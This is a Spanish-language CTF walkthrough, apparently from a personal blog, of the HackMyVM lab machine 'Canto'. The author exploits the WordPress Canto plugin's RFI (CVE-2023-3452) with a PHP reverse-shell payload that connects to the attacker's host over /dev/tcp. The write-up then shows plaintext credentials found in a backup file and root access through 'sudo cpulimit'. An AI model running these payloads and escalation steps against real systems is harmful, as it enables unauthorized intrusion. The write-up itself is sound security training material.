cd ~/blog

~/writeups/hmv/110-canto.md

110 - Canto

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
WordPress Canto Unauthenticated RFI (CVE-2023-3452)Credential Exposure en un backupSudo-Allowed Program Abuse mediante cpulimit
hackmyvm.eu/machines/machine.php?vm=Canto

~2 min de lectura


Enumeración de servicios

El escaneo descubre SSH y HTTP. Nmap identifica WordPress 6.5.3, así que la enumeración debe incluir sus plugins y versiones, ya que éstos amplían la superficie de ataque más allá del núcleo del CMS:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.25
❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.25
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-09 22:02 -04
Nmap scan report for 192.168.1.25
Host is up (0.00030s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.3p1 Ubuntu 1ubuntu3.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.57 ((Ubuntu))
|_http-title: Canto
|_http-server-header: Apache/2.4.57 (Ubuntu)
|_http-generator: WordPress 6.5.3
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeración de WordPress

WPScan en modo agresivo identifica el plugin Canto 3.0.4 con confianza completa:

❯ wpscan --url http://192.168.1.25 --plugins-detection aggressive -t 50
...
[+] canto
 | Version: 3.0.4 (100% confidence)
...

Buscamos vulnerabilidades públicas asociadas exactamente al nombre y versión del plugin. Canto 3.0.4 está afectado por una Remote File Inclusion sin autenticación, identificada como CVE-2023-3452. Searchsploit confirma que las versiones anteriores a 3.0.5 permiten inclusión remota y ejecución de código:

❯ searchsploit wordpress canto
...
Wordpress Plugin Canto < 3.0.5 - Remote File Inclusion (RFI) and Remote Code  | php/webapps/51826.py
...

Explotación de Canto

El parámetro vulnerable wp_abspath controla la ruta base utilizada por el plugin al cargar un archivo PHP. El exploit inicia un servidor auxiliar en nuestro equipo y hace que Canto resuelva esa ruta contra el host controlado, por lo que el servidor víctima descarga e interpreta nuestra carga. Preparamos un PHP que conecta al puerto 4321; LHOST y LPORT configuran el servidor auxiliar del exploit, mientras que el listener de la reverse shell queda definido dentro de pwned.php:

❯ cat pwned.php
<?php
    shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.5/4321 0>&1'");
?>

❯ python3 51826.py -u http://192.168.1.25 -LHOST 192.168.1.5 -LPORT 1234 -s pwned.php

❯ ncat -nlvp 4321
Ncat: Connection from 192.168.1.25:54158.
bash: cannot set terminal process group (916): Inappropriate ioctl for device
bash: no job control in this shell
www-data@canto:/var/www/html/wp-content/plugins/canto/includes/lib$

La conexión entrante confirma ejecución remota como www-data.

Exposición de credenciales y acceso por SSH

Durante la enumeración local encontramos una nota en el home de erik que menciona un directorio de copias de seguridad. El backup almacena sus credenciales en texto claro:

www-data@canto:/home/erik/notes$ cat Day2.txt
I almost lost the database with my user so I created a backups folder.

www-data@canto:/var/wordpress/backups$ cat 12052024.txt
------------------------------------
| Users	   |      Password        |
------------|----------------------|
| erik      | th1sIsTheP3ssw0rd!   |
------------------------------------

Las validamos por SSH para obtener una sesión estable como erik y recuperar la primera flag:

❯ ssh erik@192.168.1.25
erik@192.168.1.25's password: th1sIsTheP3ssw0rd!
erik@canto:~$

Enumeración de privilegios

sudo -l muestra que erik puede ejecutar cpulimit como cualquier usuario sin contraseña:

erik@canto:~$ sudo -l
...
User erik may run the following commands on canto:
    (ALL : ALL) NOPASSWD: /usr/bin/cpulimit

Escalada de privilegios con cpulimit

La regla es un Sudo-Allowed Program Abuse. cpulimit acepta el programa que debe supervisar y, al invocarlo mediante sudo, ese proceso hijo se crea con privilegios de root; -l 100 define un límite válido y -f mantiene la ejecución en primer plano:

erik@canto:~$ sudo cpulimit -l 100 -f /bin/bash
Process 3137 detected
root@canto:/home/erik#

El prompt root@canto confirma que Bash heredó la identidad privilegiada y permite recuperar la flag final.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados